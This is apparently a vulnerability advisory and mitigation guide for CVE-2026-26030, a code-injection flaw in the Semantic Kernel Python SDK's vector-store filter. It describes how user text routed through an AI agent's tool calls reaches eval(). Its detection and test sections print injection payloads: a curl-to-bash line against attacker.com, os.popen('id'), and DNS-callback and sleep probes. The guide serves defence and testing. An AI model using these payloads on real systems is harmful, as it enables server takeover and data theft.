Vulnerability Analysis | Mitigation Guide | Security Testing

CVE-2026-26030: Critical RCE in Microsoft Semantic Kernel Python SDK — What It Is & How to Fix It

Executive Summary

CVE-2026-26030 is a critical (CVSS 10.0) remote code execution vulnerability in Microsoft's Semantic Kernel Python SDK, the AI orchestration framework used by thousands of applications to power Retrieval-Augmented Generation (RAG) pipelines and AI agents. The flaw resides in the InMemoryVectorStore filter expression parser, which unsafely evaluates attacker-controlled input as executable Python code. Any application using Semantic Kernel's in-memory vector store for query filtering is potentially exploitable by a low-privileged attacker with no user interaction required. Organizations must upgrade to semantic-kernel >= 1.39.4 immediately.


1. What Is This Vulnerability?

Microsoft's Semantic Kernel is a widely-adopted open-source SDK that lets developers build AI-powered applications on top of LLMs (like GPT-4, Claude, and others). It provides abstractions for memory, plugins, and vector stores — components that AI agents use to retrieve relevant context at runtime.

The vulnerability lives in the InMemoryVectorStore component, specifically in how it processes filter expressions during vector search queries. When a developer (or an end-user via an AI agent) supplies a filter expression to narrow search results, the SDK constructs Python code from that expression and evaluates it — without adequately sanitizing or restricting the input.

This falls under CWE-94: Improper Control of Generation of Code ("Code Injection"), a class of vulnerability where user-supplied input is incorporated into a code generation path and executed.

Vulnerable pattern (simplified):

# Affected versions: semantic-kernel < 1.39.4
# The filter string is built from user/agent-controlled input and executed:
results = await vector_store.search(
    query="find documents about invoices",
    filter="record.metadata['category'] == 'finance'"  # <-- attacker-controlled
)
# Internally, the SDK evaluates this filter using Python's eval() or equivalent,
# allowing injection of arbitrary expressions:
# filter="__import__('os').system('curl http://attacker.com/shell.sh | bash')"

Proof-of-concept injection payload:

__import__('os').popen('id').read()

A crafted filter string like this, passed through any application interface that constructs Semantic Kernel queries from user input — including chat interfaces, API endpoints, or AI agent tool calls — results in arbitrary OS command execution.

Attack Vector

The attack surface is particularly broad in AI agent architectures. In a typical RAG pipeline:

  1. User sends a natural language query to a chat interface or API.
  2. The application passes user input to an AI agent that formulates a vector store query.
  3. The agent includes user-influenced text in the filter parameter of an InMemoryVectorStore search call.
  4. The SDK's filter parser evaluates the expression, executing injected code in the context of the server process.

Because many AI applications pass user messages relatively unmodified to the underlying SDK, the attack does not require any special privileges — only the ability to send a crafted message or API request.

Real-World Impact

Shortly after the advisory was published in March 2026, security researchers began documenting exploitation attempts in the wild. AI agent applications built for enterprise use — HR chatbots with document retrieval, legal AI tools doing RAG over internal contracts, financial assistants querying document stores — represent the highest-risk deployment targets. A successful attack can result in:

  • Full server-side code execution under the application's runtime identity
  • Exfiltration of in-memory vector data (potentially containing confidential documents)
  • Lateral movement through internal networks using the compromised service's credentials
  • Persistent backdoor installation if the process has write access to the filesystem

2. Who Is Affected?

Component Affected Versions
semantic-kernel (PyPI) All versions < 1.39.4
Semantic Kernel .NET SDK Not affected by this specific CVE
Semantic Kernel Java SDK Not affected by this specific CVE

Affected deployment patterns:

  • Any Python application using InMemoryVectorStore with filter expressions
  • AI agent pipelines that pass user-supplied text into vector store filters
  • Applications using Semantic Kernel's built-in memory abstractions backed by InMemoryVectorStore
  • LangChain, AutoGen, or custom agent frameworks that wrap Semantic Kernel's Python SDK

Not affected:

  • Applications using only external vector databases (Chroma, Pinecone, Weaviate, Qdrant) through Semantic Kernel connectors — these implement their own filter evaluation server-side
  • Applications that never use InMemoryVectorStore for filtered searches
  • .NET or Java implementations of Semantic Kernel

3. How to Detect It (Testing)

Manual Testing Steps

Step 1 — Identify entry points. Audit your application for any place where user-supplied input could influence the filter argument of a InMemoryVectorStore.search() or VectorStoreRecordCollection.search() call. This includes direct API parameters, chat message content parsed by AI agents, and dynamically generated query pipelines.

Step 2 — Test filter injection. Send the following test payloads as part of any user-facing input that flows into a vector store filter:

# Payload 1: Safe read-only canary
__import__('os').popen('echo VULN_TEST_$$').read()

# Payload 2: DNS callback (use Burp Collaborator or interactsh)
__import__('socket').gethostbyname('UNIQUE-ID.oast.site')

# Payload 3: Time-based blind test
__import__('time').sleep(5)

Step 3 — Confirm exploitation.

  • If the DNS callback fires, the server is evaluating your injection.
  • If the application takes ≥5 seconds to respond after payload 3, blind code injection is confirmed.
  • If the canary string appears in response data or server logs, the server is vulnerable.

Automated Scanning

Snyk:

pip install snyk
snyk test --package-manager=pip
# Look for: CVE-2026-26030 / GHSA-xjw9-4gw8-4rqx

pip-audit:

pip install pip-audit
pip-audit -r requirements.txt
# Expected output for vulnerable app:
# semantic-kernel 1.38.0  CVE-2026-26030  CRITICAL

OSV-Scanner:

osv-scanner --lockfile requirements.txt
# Matches against OSS vulnerability database including GitHub Security Advisories

OWASP Dependency-Check:

dependency-check.sh --project "MyApp" --scan . --format HTML
# Check for semantic-kernel entries flagged as CVE-2026-26030

Code Review Checklist

  • Search all Python files for InMemoryVectorStore usage: grep -rn "InMemoryVectorStore" .
  • Check any search() calls that pass a filter argument: grep -rn "\.search(" . | grep filter
  • Identify whether the filter string contains any user-controlled variable (request parameters, agent output, user messages)
  • Verify semantic-kernel version in requirements.txt, pyproject.toml, or setup.cfg
  • Check pip freeze output in staging/production for the installed version
  • Review AI agent tool definitions that interact with vector stores — does any tool allow user text in a filter field?

4. How to Fix It (Mitigation)

Step-by-Step Remediation

  1. Upgrade semantic-kernel to version 1.39.4 or higher.

    This is the only complete fix. The patch replaces unsafe code evaluation with a proper expression parser that uses an allowlist of safe attribute names and operators, eliminating the code injection pathway entirely.

  2. Update your dependency file.

    # requirements.txt — change:
    semantic-kernel==1.38.0    # VULNERABLE
    # to:
    semantic-kernel>=1.39.4    # PATCHED
    
  3. Apply the upgrade in your environment.

    pip install --upgrade "semantic-kernel>=1.39.4"
    # Verify:
    pip show semantic-kernel | grep Version
    # Should show: Version: 1.39.4 (or higher)
    
  4. Rebuild and redeploy all Docker images and Lambda packages that embed the library. Pin to the new version in your container build steps.

  5. Invalidate any cached or pre-built wheels that contain the old version, including in CI/CD artifact stores.

Code Fix Example

The core change in the patch is replacing dynamic eval()-style filter execution with a safe AST-based evaluator that only permits specific attribute access patterns:

Before (vulnerable — conceptual representation):

# Dangerous: raw eval of user-controlled filter string
def _apply_filter(record, filter_expr: str) -> bool:
    return eval(filter_expr, {"record": record})

After (patched — safe allowlist approach):

# Safe: AST parsing with attribute allowlist
SAFE_ATTRIBUTES = {"id", "content", "metadata", "embedding", "score"}

def _apply_filter(record, filter_expr: FilterClause) -> bool:
    # Only permit access to known-safe fields; raise on unknown attribute
    field = filter_expr.field_name
    if field not in SAFE_ATTRIBUTES:
        raise ValueError(f"Filter field '{field}' is not permitted")
    record_value = getattr(record, field, None)
    return _compare(record_value, filter_expr.operator, filter_expr.value)

Configuration Hardening

Even after patching, consider these defensive configurations:

  • Disable InMemoryVectorStore in production if your workload can use an external vector database (Chroma, Qdrant, etc.). External stores do not suffer from this vulnerability and offer better scalability.
  • Run the AI application process with a dedicated low-privilege service account — minimize the blast radius if exploitation occurs anyway.
  • Apply network egress filtering to the host running the AI agent, blocking unexpected outbound connections that would signal exploitation.
  • Enable WAF rules for any HTTP endpoints that accept user queries destined for vector store searches.

5. How to Test the Fix (Validation)

Regression Test Scenarios

  • Scenario A: Verify patch is applied — the upgrade to 1.39.4+ is reflected in the installed package list.
  • Scenario B: Send the original injection payloads through all user-facing entry points — confirm the application does not execute them (no DNS callback, no delay, no unexpected output).
  • Scenario C: Confirm that legitimate, safe filter expressions continue to work correctly and return expected results.

Security Test Cases

Test Case 1: Verify vulnerability no longer exists

  • Precondition: Upgrade semantic-kernel to 1.39.4 or higher.
  • Steps:
    1. Send {"query": "invoices", "filter": "__import__('os').popen('id').read()"} to the search endpoint.
    2. Check server logs for any OS command execution.
    3. Monitor DNS for any callback to your out-of-band server.
  • Expected Result: The filter expression is rejected with a ValueError or equivalent, no OS command is executed, and the request fails safely.

Test Case 2: Confirm safe filter expressions still work

  • Precondition: Upgrade applied and application running.
  • Steps:
    1. Issue a legitimate search: filter={"field_name": "category", "operator": "eq", "value": "finance"}
    2. Verify results are returned as expected.
  • Expected Result: Results are returned normally with no errors.

Automated Tests

import pytest
from semantic_kernel.connectors.memory.in_memory import InMemoryVectorStore

@pytest.mark.asyncio
async def test_injection_rejected():
    """Verify that code injection in filter expressions raises an error."""
    store = InMemoryVectorStore()
    malicious_filter = "__import__('os').popen('id').read()"
    with pytest.raises((ValueError, TypeError, AttributeError)):
        # Attempt to use injection payload as filter
        await store.search("test query", filter=malicious_filter)

@pytest.mark.asyncio
async def test_safe_filter_accepted():
    """Verify that legitimate filter expressions still function."""
    store = InMemoryVectorStore()
    # Insert a test record and confirm filtered retrieval works
    # (populate with test data per your schema)
    results = await store.search("test query", filter={"field_name": "category", "operator": "eq", "value": "finance"})
    assert isinstance(results, list)  # Should succeed, not raise

6. Prevention & Hardening

Best Practices

  • Never use eval() or exec() on user-influenced data. This is the root cause of CVE-2026-26030 — applying this rule universally in your own code prevents entire classes of injection vulnerabilities.
  • Adopt dependency scanning as a CI gate. Tools like pip-audit, Snyk, or Dependabot should block merges and deployments when critical CVEs are detected in direct or transitive dependencies.
  • Pin AI/ML library versions with verified SHAs in production. Fast-moving ecosystems like AI frameworks release frequently — explicit version pinning combined with automated update PRs (via Dependabot/Renovate) balances security and stability.
  • Apply the principle of least privilege to AI agent processes. An agent that can only read documents and make outbound API calls to approved endpoints is far less dangerous when compromised than one with broad filesystem and network access.
  • Regularly audit LLM agent tool definitions for injection risk. If an AI agent tool passes user-supplied natural language into a database filter, it is a potential injection vector regardless of the underlying technology.

Monitoring & Detection

Set up the following detection signals:

  • Dependency vulnerability alerts: Enable GitHub Dependabot, GitLab security scanning, or Snyk on all repositories using Python AI/ML frameworks. Subscribe to GHSA-xjw9-4gw8-4rqx notifications.
  • Process anomaly detection: Alert on unexpected child process spawning from your AI agent service (e.g., bash, sh, curl, python -c launched by the application process).
  • Outbound network monitoring: Alert on unexpected outbound connections from your vector store host to uncommon external IPs or DNS lookups not in your baseline.
  • Error log patterns: Surge in ValueError, AttributeError, or FilterError exceptions from the vector store layer may indicate active probing.
  • SIEM rule: Correlate AI API errors with unusual downstream process activity as a behavioral indicator of attempted exploitation.

References

Latest from the blog

See all →